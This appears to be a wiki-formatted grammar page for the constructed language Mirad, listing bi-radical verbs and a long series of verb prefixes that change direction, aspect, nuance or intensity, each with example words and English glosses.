! Verb Root 1 !! Verb Root 2 !! Bi-radical Verb
|-
| '''nuxer'''....''to pay'' || '''bier'''....''to take'' || '''nuxbier'''....''to buy''
|-
| '''nixer'''....''to earn'' || '''buer'''....''to give'' || '''nixbuer'''....''to sell''
|-
| '''kexer'''....''to seek'' || '''bier'''....''to take'' || '''kexbier'''....''to choose''
|-
| '''uper'''....''to come'' || '''dier'''....''to ask'' || '''updier'''....''to invite''
|-
| '''teater'''....''to see'' || '''der'''....''to tell'' || '''teader'''....''to testify''
|-
| '''teeter'''....''to hear'' || '''drer'''....''to write'' || '''teadrer'''....''to report''
|-
| '''teater'''....''to see'' || '''per'''....''to go'' || '''teaper'''....''to visit''
|-
| '''texer'''....''to think'' || '''der'''....''to say'' || '''texder'''....''to mention''
|-
| '''kexer'''....''to seek'' || '''pixer'''....''to catch'' || '''kexpixer'''....''to hunt''
|-
| '''yeker'''....''to try'' || '''teexer'''....''to listen'' || '''yekteexer'''....''to try (in court)''
|}

== Verbs with Vectorial Prefixes ==

: Prepositions and directional adverbs can be prefixed to verbs in order to change their vectorial semantics. A preposition ending in '''b''' will assimilate by losing the '''b''' before the verb '''per'''....''to go'' or the verb '''ber'''.  This assimilation does not occur for other verbs beginning with '''b''' such as '''byexer''' (''to hit''). A preposition ending in '''b''' will, however, assimilate (lose the '''b''') before any verb bases beginning with a '''p'''. For example, '''ab''' (''on'') + '''bexer''' (''to hold'') = '''obbexer''' (''to hold on''), because '''obexer''' could be interpreted as ''to release''.  Here are some examples:

:{| class=&quot;wikitable sortable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Prepositional Prefixes
|-
! Preposition/Adverb !!  Transitive Verb !! Intransitive Verb
|-
| '''ab'''....''on'' || '''aber'''....''apply''&lt;br&gt;not '''abber'''! || '''aper'''....''get on''&lt;br&gt;not '''abper'''!
|-
| '''ob'''....''off'' || '''ober'''....''remove'' || '''oper'''....''get off, dismount''
|-
| '''ab'''....''off'' || '''abbaxrer'''....''to rub on'' || '''apyexer'''....''to attack''
|-
| '''eb'''....''between'' || '''eber'''....''block'' || '''eper'''....''intervene''
|-
| '''eb'''....''between'' || '''ebdrayefser'''....''to interleave'' || '''ebdrafxer'''....''to interleave''
|-
| '''ub'''....''toward'' || '''uber'''....''to send'' || '''uper'''....''to come''
|-
| '''ub'''....''toward'' || '''ubbixer'''...''to attract'' || '''upixer'''....''to pitch toward''
|-
| '''yab'''....''up'' || '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''yob'''....''down'' || '''yober'''....''take down'' || '''yoper'''....''descend''
|-
| '''yub'''....''near'' || '''yuber'''....''bring near'' || '''yuper'''....''approach''
|-
| '''yib'''....''far'' || '''yiber'''....''take away'' || '''yiper'''....''go far away''
|-
| '''yeb'''....''in'' || '''yeber'''....''insert'' || '''yeper'''....''enter''
|-
| '''yeb'''....''in''  || '''yepuxer'''....''throw in'' || '''yepuser'''....''jump in''
|-
| '''oyeb'''....''out'' || '''oyeber'''....''expose'' || '''oyeper'''....''exit''
|-
| '''oyeb'''....''out'' || '''oyebbuxer'''....''expel'' || '''oyepuxer'''....''eject''
|-
| '''zyu'''....''round''  || '''zyuber'''....''rotate'' || '''zyuper'''....''revolve''
|-
| '''zya'''....''throughout'' || '''zyaber'''....''spread'' || '''zyaper'''....''tour''
|-
| '''av'''....''for'' || '''avdaler'''....''plead'' || '''avper'''....''pursue''
|-
| '''ov'''....''against'' || '''ovber'''....''oppose'' || '''ovper'''....''countervene''
|-
| '''yan'''....''together'' || '''yanber'''....''compose'' || '''yanper'''....''meet''
|-
| '''yon'''....''apart'' || '''yonber'''....''separate'' || '''yonper'''....''separate''
|-
| '''iz'''....''direct'' || '''izber'''....''lead'' || '''izper'''....''head''
|-
| '''uz'''....''curved'' || '''uzber'''....''divert'' || '''uzper'''....''diverge''
|-
| '''yuz'''....''around'' || '''yuzber'''....''surround'' || '''yuzper'''....''circulate''
|-
| '''yiz'''....''beyond'' || '''yizber'''....''transfer'' || '''yizper'''....''surpass''
|-
| '''zoy'''....''back, re-'' || '''zoyber'''....''return'' || '''zoyper'''....''go back''
|}

== Other Semantics-altering Verb Prefixes ==
: As in English and many other languages, prefixes can be used on verbs to reverse, mitigate, or otherwise alter the semantics:

=== Expressing ''re-'' with '''zoy-''' or '''gaw-''' ===
: The prefix '''zoy-'''....''back'' or '''gaw-&lt;sup&gt;1&lt;/sup&gt;'''....''again''  are used like the English prefix ''re-'', eg.:

::* '''ember'''....''to position'' → '''&lt;u&gt;zoy&lt;/u&gt;-ember'''....''to &lt;u&gt;re&lt;/u&gt;position, &lt;u&gt;re&lt;/u&gt;place''
::* '''buer'''....''to give'' → '''&lt;u&gt;zoy&lt;/u&gt;buer'''....''to &lt;u&gt;re&lt;/u&gt;turn (an object), give back''
::* '''sanxer'''....''to shape, form'' → '''&lt;u&gt;zoy&lt;/u&gt;sanxer'''....''to &lt;u&gt;re&lt;/u&gt;shape, &lt;u&gt;re&lt;/u&gt;form, &lt;u&gt;trans&lt;/u&gt;form''
::* '''zyauber'''....''to broadcast'' → '''gawzyauber'''....''to re-broadcast''
::* '''taja'''....''born'' → '''gawtaja'''....''reborn''
::* '''aber'''....''to apply'' → '''gawaber'''....''to reapply''
::* '''teaper'''....''to visit'' → '''&lt;u&gt;gaw&lt;/u&gt;teaper'''....''to &lt;u&gt;re&lt;/u&gt;visit''
::* '''uper'''....''to come'' → '''&lt;u&gt;zoy&lt;/u&gt;-uper&lt;sup&gt;2&lt;/sup&gt;'''....''to &lt;u&gt;re&lt;/u&gt;turn, come &lt;u&gt;back&lt;/u&gt;''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zoy&lt;/u&gt;buxer'''....''to &lt;u&gt;re&lt;/u&gt;pel, push &lt;u&gt;back&lt;/u&gt;''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to &lt;u&gt;re&lt;/u&gt;ject, throw &lt;u&gt;back&lt;/u&gt;, jettison''
: Note 1:  The prefix '''gaw-''' before a consonant is pronounced like the ''gaw'' in the English word ''gawk''.  It is short for '''ga awa jod''' or '''gawa''' meaning ''one more time, again''.  If the &quot;re-&quot; word means ''to do something again'', then '''gaw-''' is used, eg. ''To reconvene'' ( = ''meet again'')....'''gawyanuper'''  If the sense of ''back'' is intended, than the prefix '''zoy-''' is used, eg. ''To return'' ( = ''come back'')....'''zoyuper'''. Both prefixes are used in the expression ''Come back again!''....'''Gawzoy-upu!'''.
: Note 2: The prefix '''zoy''' is followed by a hyphen to make it clear that the prepositon is '''zoy''', not '''zo''' and that the base verb is '''uper''' (''come''), not '''yuper''' (''to approach'').

:''Until we meet again'' or ''au revoir'' is expressed by '''Ju gawyanup.'''

=== Expressing ''de-, dis-, un-'' with '''lo-''' ===
: The prefix '''lo-''' reverses the semantics of a verb and is like English ''dis-'', ''de-'', or ''un-'', eg.:

::* '''sexer'''....''to build, construct'' → '''&lt;u&gt;lo&lt;/u&gt;sexer'''....''to &lt;u&gt;de&lt;/u&gt;stroy, &lt;u&gt;de&lt;/u&gt;construct''
::* '''anxer'''....''to unite'' → '''&lt;u&gt;lo&lt;/u&gt;anxer'''....''to &lt;u&gt;dis&lt;/u&gt;unite''
::* '''xer'''....''to do'' → '''&lt;u&gt;lo&lt;/u&gt;xer'''....''to &lt;u&gt;un&lt;/u&gt;do''

: Note the difference between '''o-''' and '''lo-'''.

::* '''odoparuwa'''....''&lt;u&gt;un&lt;/u&gt;armed'' (= ''not armed'')
::* '''lodoparuwa'''....''&lt;u&gt;dis&lt;/u&gt;armed'' (= from the verb '''lodoparuer'''....''to disarm'')

=== Expressing ''co-'' with '''yan-''' ===
: The prefix '''yan-'''....''together'' is used as the English ''co-'', eg.:

::* '''exer'''....''to operate'' → '''&lt;u&gt;yan&lt;/u&gt;exer'''....''to &lt;u&gt;co&lt;/u&gt;operate''
::* '''tamer'''....''to dwell'' → '''&lt;u&gt;yan&lt;/u&gt;tamer'''....''to &lt;u&gt;co&lt;/u&gt;habit''
::* '''napber'''....''to put in order'' → '''&lt;u&gt;yan&lt;/u&gt;napber'''....''to &lt;u&gt;co&lt;/u&gt;ordinate''

=== Making Verbs Completive with '''ik-''' ===
: Verbs can be made completive or perfective by prefixing them with '''ik-''' (''fully'').  Such verbs are comparable to phrasal verbs in English with ''up'' and other prepositions as in ''to eat up''.  Here are some examples in Mirad:
::* '''tojber'''....''to kill'' → '''iktojber'''....''to kill off, exterminate''
::* '''telier'''....''to eat'' → '''iktelier'''....''to eat up''
::* '''ujber'''....''to finish'' → '''ikujber'''....''to finish off/up''
::* '''gofler'''....''to rip'' → '''ikgofler'''....''to rip up''
::* '''drer'''....''to write'' → '''ikdrer'''....''to write down''
::* '''byexer'''....''to beat'' → '''ikbyexer'''....''to beat up''
::* '''agser'''....''to grow'' → '''ikagser'''....''to grow up''

=== Making Verbs Continuative with '''je-''' ===
: Verbs can be given a continuative nuance with the addition of the prefix '''je-''':
::* '''daler'''....''to talk'' → '''jedalar'''....''to go on talking, to blabber''
::* '''tejer'''....''to live'' → '''jetejer'''....''to go on living, to survive''
::* '''yexer'''....''to work'' → '''jeyexer'''....''to go on working, to keep working''
::* '''teaxer'''....''to look'' → '''jeteaxer'''....''to watch''
::* '''teexer'''....''to listen'' → '''jeteexer'''....''to keep listening, to pay attention''
::* '''duler'''....''to insist'' → '''jeduler'''....''to nag''

=== Making Verbs Inchoative with '''ij-''' ===
: Verbs can be given an inchoative nuance with the addition of the prefix '''ij-''':
::* '''texer'''....''to think'' → '''ijtexer'''....''to start to think''
::* '''ifier'''....''to enjoy'' → '''ijifier'''....''to start liking''
::* '''trer'''....''to know'' → '''ijtrer'''....''to get to know''
::* '''baxer'''....''to stir'' → '''ijbaxer'''....''to instigate''
::* '''byaxer'''....''to erect'' → '''ijbyaxer'''....''to establish, to institute''
::* '''dezer'''....''to perform'' → '''ijdezer'''....''to premier, to debut''
::* '''eser'''....''to exist'' → '''ijeser'''....''to come about''
::* '''kaxer'''....''to find'' → '''ijkaxer'''....''to invent''
::* '''magxer'''....''to burn'' → '''ijmagxer'''....''to kindle''
::* '''saxer'''....''to make'' → '''ijsaxer'''....''to create''
::* '''texer'''....''to think'' → '''ijtexer'''....''to conceive''
::* '''tuxer'''....''to teach'' → '''ijtuxer'''....''to initiate''
::* '''xeler'''....''to celebrate'' → '''ijxeler'''....''to inaugurate''

=== Making Verbs Terminative with '''uj-''' ===
: Verbs can be given a terminative nuance with the addition of the prefix '''uj-''':
::* '''telier'''....''to eat'' → '''ujtelier'''....''to finish eating''
::* '''dyeer'''....''to read'' → '''ujdyeer'''....''to finish reading''
::* '''ufteuder'''....''to complain'' → '''ujufteuder'''....''to quit carping''
::* '''aker'''....''to win'' → '''ujaker'''....''to succeed''
::* '''der'''....''to say'' → '''ujder'''....''to conclude''
::* '''gaber'''....''to add'' → '''ujgaber'''....''to append, to added at the end''
::* '''gyoxer'''....''to thin'' → '''ujgyoxer'''....''to taper''
::* '''kyeser'''....''to happen'' → '''ujkyeser'''....''to turn out''
::* '''oker'''....''to lose'' → '''ujoker'''....''to fail''

=== Giving Verbs a Nuance of Pleasure with '''if-''' ===
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll''
::* '''tuyuxer'''....''to finger'' → '''iftuyuxer'''....''to tickle''
::* '''teaxer'''....''to look'' → '''ifteaxer'''....''to ogle (voyeuristically)''
::* '''piper'''....''to sail'' → '''ifpiper'''....''to go cruising''
::* '''teuder'''....''to shout'' → '''ifteuder'''....''to laugh''
::* '''eker'''....''to play'' → '''ifeker'''....''to have fun''
::* '''abbaxer'''....''to pat'' → '''ifabbaxer'''....''to fondle, to caress''
::* '''axler'''....''to act'' → '''ifaxler'''....''to have fun''
::* '''bier'''....''to take'' → '''ifbier'''....''to embrace, to adopt, to foster''
::* '''buer'''....''to give'' → '''ifbuer'''....''to donate, to gift''
::* '''bikuer'''....''to care for'' → '''ifbikuer'''....''to foster''
::* '''bixer'''....''to pull'' → '''ifbixer'''....''to entice, to tempt, to seduce''
::* '''ebdaler'''....''to converse'' → '''ifebdaler'''....''to chitchat''
::* '''mimparer'''....''to go boating'' → '''ifmimparer'''....''to go yachting''
::* '''tayoxer'''....''to touch'' → '''iftayoxer'''....''to tickle, to titillate''
::* '''teaxer'''....''to look at'' → '''ifteaxer'''....''to ogle, to feast one's eyes on, to moon over''
::* '''telier'''....''to eat'' → '''iftelier'''....''to feast on''
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll, to jaunt, to promenade''

=== Giving Verbs a Nuance of Displeasure with '''uf-''' ===
::* '''tosier'''....''to feel'' → '''uftosier'''....''to get angry''
::* '''eker'''....''to play'' → '''ufeker'''....''to fight''
::* '''der'''....''to say'' → '''ufder'''....''to express displeasure''
::* '''aluer'''....''to exhale'' → '''ufaluer'''....''to huff''
::* '''daler'''....''to talk'' → '''ufdaler'''....''to rant''
::* '''teaxer'''....''to look at'' → '''ufteaxer'''....''to scorn, to disdain''
::* '''teuber'''....''to make an expression'' → '''ufteuber'''....''to frown''
::* '''teuder'''....''to shout'' → '''ufteuder'''....''to grouse, to gripe''

=== Giving Verbs a Nuance of Prohibition with '''of-''' ===
::* '''bier'''....''to take'' → '''ofbier'''....''to steal''
::* '''deler'''....''to declare'' → '''ofdeler'''....''to ban''
::* '''yeper'''....''to enter'' → '''ofyeper'''....''to intrude, break in''
::* '''zeyper'''....''to cross'' → '''ofzeyper'''....''to transgress, poach''
::* '''gelxer'''....''to copy'' → '''ofgelxer'''....''to pirate, plagiarize''
::* '''bekuluer'''....''to administer medicine'' → '''ofbekuluer'''....''to dope''
::* '''nuxuer'''....''to pay'' → '''ofnuxuer'''....''to bribe, pay off, suborn''

=== Giving Verbs a Nuance of Holiness with '''fya-''' ===
::* '''bexler'''....''to keep'' → '''fyabexler'''....''to enshrine''
::* '''buer'''....''to give'' → '''fyabuer'''....''to sacrifice''
::* '''der'''....''to say'' → '''fyader'''....''to bless''
::* '''daler'''....''to speak'' → '''fyadaler'''....''to preach, sermonize''
::* '''diler'''....''to request'' → '''fyadiler'''....''to pray''
::* '''deuzer'''....''to sing'' → '''fyadeuzer'''....''to chant''
::* '''ifrer'''....''to love dearly'' → '''fyaifrer'''....''to worship, adore''
::* '''jader'''....''to predict'' → '''fyajader'''....''to prophesy''
::* '''miluer'''....''to sprinkle'' → '''fyamiluer'''....''to sprinkle with holy water''
::* '''ojvader'''....''to promise'' → '''fyaojvader'''....''to swear''
::* '''xeler'''....''to practice'' → '''fyaxeler'''....''to celebrate''
::* '''koser'''....''to hide'' → '''fyakoser'''....''to go on a retreat, go into hermitage''
::* '''teazer'''....''perform a show'' → '''fyateazer'''....''to perform a miracle''

=== Giving Verbs a Nuance of Profanity with '''fyo-''' ===
::* '''der'''....''to say'' → '''fyoder'''....''to curse''
::* '''diler'''....''to request'' → '''fyodiler'''....''to conjure''
::* '''tyezer'''....''to perform magic'' → '''fyotezer'''....''to engage in black magic''
::* '''xer'''....''to do'' → '''fyoxer'''....''to sin''
=== Expressing Good Actions with '''fi-''' ===
::* '''agser'''....''to grow'' → '''fiagser'''....''to thrive, to flourish''
::* '''axler'''....''to act'' → '''fiaxler'''....''to behave well''
::* '''der'''....''to say'' → '''fider'''....''to praise''
::* '''deler'''....''to declare'' → '''fideler'''....''to approve''
::* '''datiber'''....''to host'' → '''fidatiber'''....''to welcome''
::* '''diber'''....''to manage'' → '''fidiber'''....''to husband''
::* '''doler'''....''to be silent'' → '''fidoler'''....''to be discrete''
::* '''duer'''....''to suggest'' → '''fiduer'''....''to recommend''
::* '''ebexler'''....''to interact'' → '''fiebexler'''....''to get along well''
::* '''exer'''....''to operate'' → '''fiexer'''....''to operate smoothly''
::* '''fer'''....''to want'' → '''fifer'''....''to mean well''
::* '''ijer'''....''to start'' → '''fiijer'''....''to get a good start''
::* '''nagser'''....''to measure'' → '''finagser'''....''to adapt''
::* '''napxer'''....''to arrange'' → '''finapxer'''....''to tidy up, to neaten''
::* '''ojfer'''....''to wish'' → '''fiojfer'''....''to wish well''
::* '''per'''....''to go'' → '''fiper'''....''to fare well, to prosper''
::* '''teaser'''....''to seem'' → '''fiteaser'''....''to look nice''
::* '''teaxer'''....''to look at'' → '''fiteaxer'''....''to admire''
::* '''tejer'''....''to live'' → '''fitejer'''....''to thrive''
::* '''teuder'''....''to shout'' → '''fiteuder'''....''to acclaim, to laud''
::* '''tosuer'''....''to make feel'' → '''fitosuer'''....''to exhilarate''
::* '''tujer'''....''to sleep'' → '''fitujer'''....''to sleep soundly''
::* '''yaker'''....''to expect'' → '''fiyaker'''....''to hope''
::* '''yuxer'''....''to help'' → '''fiyuxer'''....''to benefit''
::* '''xer'''....''to do'' → '''fixer'''....''to do well''

=== Expressing Bad Actions with '''fu-''' ===
::* '''yevder'''....''to judge'' → '''fuyevder'''....''to critique negatively''
::* '''fer'''....''to want'' → '''fufer'''....''to will ill''
::* '''der'''....''to say'' → '''fuder'''....''to badmouth''
::* '''napxer'''....''to arrange'' → '''funapxer'''....''to mess up''
::* '''yuxer'''....''to help'' → '''fuyuxer'''....''to abuse''

=== Expressing More Intense Actions with '''az-''' ===
::* '''yujber'''....''to close'' → '''&lt;u&gt;az&lt;/u&gt;yujber'''....''to lock''
::* '''der'''....''to say'' → '''&lt;u&gt;az&lt;/u&gt;der'''....''to emphasize''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;az&lt;/u&gt;duer'''....''to urge''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;az&lt;/u&gt;dizeuder'''....''to guffaw''
=== Expressing Less Intense Actions with '''oz-''' ===
::* '''der'''....''to utter'' → '''&lt;u&gt;oz&lt;/u&gt;der'''....''to whisper''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;oz&lt;/u&gt;duer'''....''to hint''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;oz&lt;/u&gt;dizeuder'''....''to chuckle''
::* '''uvteuder'''....''to moan'' → '''&lt;u&gt;oz&lt;/u&gt;uvteuder'''....''to whimper''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;oz&lt;/u&gt;tyoper'''....''to limp''
=== Expressing ''pre-, fore-'' with '''ja-''' ===
::* '''der'''....''to tell'' → '''&lt;u&gt;ja&lt;/u&gt;der'''....''to foretell, predict''
::* '''teater'''....''to see'' → '''&lt;u&gt;ja&lt;/u&gt;teater'''....''to foresee, preview''
::* '''ter'''....''to know'' → '''&lt;u&gt;ja&lt;/u&gt;ter'''....''to presage, have foreknowledge of''
::* '''yever'''....''to judge'' → '''&lt;u&gt;ja&lt;/u&gt;yever'''....''to prejudge''
::* '''juder'''....''to date'' → '''&lt;u&gt;ja&lt;/u&gt;juder'''....''to antedate''
=== Expressing ''post-, after-'' with '''jo-''' ===
::* '''juder'''....''to date'' → '''&lt;u&gt;jo&lt;/u&gt;juder'''....''to postdate''
::* '''texer'''....''to think'' → '''&lt;u&gt;jo&lt;/u&gt;texer'''....''to reflect on, review''
::* '''uvder'''....''to express sadness'' → '''&lt;u&gt;jo&lt;/u&gt;uvder'''....''to mourn, regret''
::* '''ibler'''....''to obtain'' → '''&lt;u&gt;jo&lt;/u&gt;ibler'''....''to inherit''

=== Expressing ''excessively'' with '''gra-''' ===
::* '''telier'''....''to eat'' → '''&lt;u&gt;gra&lt;/u&gt;telier'''....''to overeat''
::* '''fer'''....''to want'' → '''&lt;u&gt;gra&lt;/u&gt;fer'''....''to covet''
::* '''der'''....''to say'' → '''&lt;u&gt;gra&lt;/u&gt;der'''....''to exaggerate''
::* '''daler'''....''to talk'' → '''&lt;u&gt;gra&lt;/u&gt;daler'''....''to yammer''

=== Expressing ''inadequately'' with '''gro-''' ===
::* '''fyinder'''....''to value'' → '''&lt;u&gt;gro&lt;/u&gt;fyinder'''....''to underestimate''
::* '''mageler'''....''to cook'' → '''&lt;u&gt;gro&lt;/u&gt;mageler'''....''to undercook''
::* '''xaer'''....''to perform'' → '''&lt;u&gt;gro&lt;/u&gt;xaer'''....''to underperform''

=== Expressing ''counter-, contra-'' with '''ov-''' or '''oyv-''' ===
::* '''axler'''....''to act''  → '''&lt;u&gt;ov&lt;/u&gt;axler'''....''to counteract''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ov&lt;/u&gt;apyexer'''....''to counterattack''
::* '''daler'''....''to speak'' → '''&lt;u&gt;ov&lt;/u&gt;daler'''....''to oppose''
::* '''der'''....''to say'' → '''&lt;u&gt;oyv&lt;/u&gt;der'''....''to contradict''
::* '''ber'''....''to put'' → '''&lt;u&gt;oyv&lt;/u&gt;ber'''....''to reverse, overturn''
::* '''texer'''....''to think''  → '''&lt;u&gt;oyv&lt;/u&gt;texer'''....''to contest, disagree''
::* '''per'''....''to go'' → '''&lt;u&gt;oyv&lt;/u&gt;per'''....''to contravene''
=== Expressing ''on behalf, for'' with '''av-''' ===
::* '''axler'''....''to act'' → '''&lt;u&gt;av&lt;/u&gt;axler'''....''to act on behalf of''
::* '''daler'''....''to speak'' → '''&lt;u&gt;av&lt;/u&gt;daler'''....''to advocate, speak on behalf of''
::* '''dyundrer'''....''to sign'' → '''&lt;u&gt;av&lt;/u&gt;dyundrer'''....''to endorse''

=== Making Verbs Reflexive with '''ut-''' (''self-, auto-'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;ut&lt;/u&gt;tojber'''....''to commit suicide''
::* '''vyovider'''....''to flatter'' → '''&lt;u&gt;ut&lt;/u&gt;vyovider'''....''to flatter oneself''
::* '''zaypuxwer'''....''to be propelled'' → '''&lt;u&gt;ut&lt;/u&gt;zaypuxwer'''....''to be self-propelled''
::* '''fider'''....''to praise'' → '''&lt;u&gt;ut&lt;/u&gt;fider'''....''to brag''
::* '''gober'''....''to decrement'' → '''&lt;u&gt;ut&lt;/u&gt;gober'''....''to autodecrement''
=== Making Verbs Reciprocal with '''hyuit-''' (''one another'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;hyuit&lt;/u&gt;tojber'''....''to kill one another''
::* '''ifer'''....''to love'' → '''&lt;u&gt;hyuit&lt;/u&gt;ifer'''....''to love one another''

=== Expressing ''inter-, intra-'' with '''eb-''' (''between'') ===
::* '''tadier'''....''to marry'' → '''&lt;u&gt;eb&lt;/u&gt;tadier'''....''to intermarry''
::* '''zyaber'''....''to spread'' → '''&lt;u&gt;eb&lt;/u&gt;zyaber'''....''to intersperse''
::* '''vyexer'''....''to relate'' → '''&lt;u&gt;eb&lt;/u&gt;vyexer'''....''to interrelate''

=== Expressing the Opposite of an Action with '''o-''' (''un-'') ===
::* '''bexler'''....''to keep'' → '''&lt;u&gt;o&lt;/u&gt;bexler'''....''to release, let go of''
::* '''aynser'''....''to integrate'' → '''&lt;u&gt;o&lt;/u&gt;aynser'''....''to disintegrate, to decay''
::* '''beler'''....''to carry'' → '''&lt;u&gt;o&lt;/u&gt;beler'''....''to drop''
::* '''bier'''....''to take'' → '''&lt;u&gt;o&lt;/u&gt;bier'''....''to leave, relinquish''
::* '''boser'''....''to be quiet'' → '''&lt;u&gt;o&lt;/u&gt;boser'''....''to be upset''
::* '''drer'''....''to write'' → '''&lt;u&gt;o&lt;/u&gt;drer'''....''to erase''

::&lt;small&gt;Note: If the base verb already begins with the negative prefix '''o-''', then the prefix is changed to '''ol-''', eg. '''obexler'''....''to release'' → '''&lt;u&gt;ol&lt;/u&gt;obexwa'''....''to unrelease''  &lt;/small&gt;

=== Expressing a Public or Official Action with '''do-''' ===
:: '''Do-''' is a stub for '''dot''' (''society'').

::* '''afder'''....''to allow'' → '''&lt;u&gt;do&lt;/u&gt;afder'''....''to authorize''
::* '''bier'''....''to take'' → '''&lt;u&gt;do&lt;/u&gt;bier'''....''to conquer, take over, take control of''
::* '''tojber'''....''to kill'' → '''&lt;u&gt;do&lt;/u&gt;tojber'''....''to execute''
::* '''buer'''....''to give'' → '''&lt;u&gt;do&lt;/u&gt;buer'''....''to dedicate''
::* '''daler'''....''to speak'' → '''&lt;u&gt;do&lt;/u&gt;daler'''....''to orate, speak in public''
::* '''deler'''....''to declare'' → '''&lt;u&gt;do&lt;/u&gt;deler'''....''to announce''
::* '''drer'''....''to write'' → '''&lt;u&gt;do&lt;/u&gt;drer'''....''to publicize, report''

=== Giving Verbs a Nuance of Truth with '''vya-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vya&lt;/u&gt;der'''....''to avow, be frank''
::* '''ber'''....''to set, put'' → '''&lt;u&gt;vya&lt;/u&gt;ber'''....''to control''
::* '''napxer'''...''to arrange, order'' → '''&lt;u&gt;vya&lt;/u&gt;napxer'''....''to adjust''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;vya&lt;/u&gt;kexer'''....''to investiage''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vya&lt;/u&gt;tuer'''....''to advise''

=== Giving Verbs of Nuance of Falseness with '''vyo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vyo&lt;/u&gt;der'''....''to lie, to misstate''
::* '''tester'''....''to understand'' → '''&lt;u&gt;vyo&lt;/u&gt;tester'''....''to misunderstand''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vyo&lt;/u&gt;tuer'''....''to misinform, to deceive''
::* '''xer'''....''to do'' → '''&lt;u&gt;vyo&lt;/u&gt;xer'''....''to do wrong, fail, misdo''
::* '''yuxler'''....''to serve'' → '''&lt;u&gt;vyo&lt;/u&gt;yuxler'''....''to betray, to serve unfaithfully''
=== Making Verbs Positive with '''va-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;va&lt;/u&gt;der'''....''to affirm''
::* '''texer'''....''to think'' → '''&lt;u&gt;va&lt;/u&gt;texer'''....''to believe''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;va&lt;/u&gt;yeker'''....''to presume''
::* '''bier'''.....''to take'' → '''&lt;u&gt;va&lt;/u&gt;bier'''....''to accept''
=== Making Verbs Negative with '''vo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vo&lt;/u&gt;der'''....''to deny''
::* '''texer'''....''to think'' → '''&lt;u&gt;vo&lt;/u&gt;texer'''....''to doubt''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;vo&lt;/u&gt;yeker'''....''to rule out''
::* '''bier'''.....''to take'' → '''&lt;u&gt;vo&lt;/u&gt;bier'''....''to reject''
=== Making Verbs Suppositional with '''ve-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;ve&lt;/u&gt;der'''....''to conjecture''
::* '''texer'''....''to think'' → '''&lt;u&gt;ve&lt;/u&gt;texer'''....''to suppose, hypothesize''
::* '''yovder'''....''to blame'' → '''&lt;u&gt;ve&lt;/u&gt;yovder'''....''to indict, accuse''
=== Speeding up Verbs with '''ig-''' ===
::* '''pier'''....''to leave'' → '''&lt;u&gt;ig&lt;/u&gt;pier'''....''to flee''
::* '''pyoser'''....''to drop'' → '''&lt;u&gt;ig&lt;/u&gt;pyoser'''....''to plummet''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ig&lt;/u&gt;tyoper'''....''to run''
::* '''yeper'''....''to enter'' → '''&lt;u&gt;ig&lt;/u&gt;yeper'''....''to rush in''
=== Slowing up Verbs with '''ug-''' ===
::* '''paser'''....''to move'' → '''&lt;u&gt;ug&lt;/u&gt;paser'''....''to amble''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ug&lt;/u&gt;teaxer'''....''to gaze''
::* '''ilper'''....''to flow'' → '''&lt;u&gt;ug&lt;/u&gt;ilper'''....''to trickle''
::* '''tilier'''....''to drink'' → '''&lt;u&gt;ug&lt;/u&gt;tilier'''....''to sip''
=== Expressing the Nuance of Suddenness with '''yok-''' ===
::* '''baxer'''....''to stir'' → '''&lt;u&gt;yok&lt;/u&gt;baxer'''....''to startle''
::* '''hihider'''....''to laugh'' → '''&lt;u&gt;yok&lt;/u&gt;hihider'''....''to burst out laughing''
::* '''teaser'''....''to appear'' → '''&lt;u&gt;yok&lt;/u&gt;teaser'''....''to suddenly appear''
::* '''yoktojer'''....''to die'' → '''&lt;u&gt;yok&lt;/u&gt;tojer'''....''to drop dead''
=== Expressing the Notion of Fixedness with '''kyo-''' ===
::* '''byaser'''....''to stand'' → '''&lt;u&gt;kyo&lt;/u&gt;byaser'''....''to stand still''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;kyo&lt;/u&gt;kexer'''....''to hound, stalk''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;kyo&lt;/u&gt;teaxer'''....''to stare, glare''
::* '''texer'''....''to think'' → '''&lt;u&gt;kyo&lt;/u&gt;texer'''....''to obsess with, fixate on''
=== Expression the Notion of Randomness or Chance with '''kye-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;kye&lt;/u&gt;der'''....''to guess, divine''
::* '''per'''....''to per'' → '''&lt;u&gt;kye&lt;/u&gt;per'''....''to fluctuate''
::* '''poper'''....''to travel'' → '''&lt;u&gt;kye&lt;/u&gt;poper'''....''to wander''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kye&lt;/u&gt;napxer'''....''to scramble, shuffle''
::* '''bier'''....''to take'' → '''&lt;u&gt;kye&lt;/u&gt;bier'''....''to select''
::* '''kaxer'''....''to find'' → '''&lt;u&gt;kye&lt;/u&gt;kaxer'''....''to discover, to find by chance''
::* '''vyabxer'''....''to check'' → '''&lt;u&gt;kye&lt;/u&gt;vabxer'''....''to spot check''

=== Expressing the Notion of Change with '''kya-''' ===
::* '''baser'''....''to make a move'' → '''&lt;u&gt;kya&lt;/u&gt;baser'''....''to shift''
::* '''sanxer'''....''to form'' → '''&lt;u&gt;kya&lt;/u&gt;sanxer'''....''to transform''
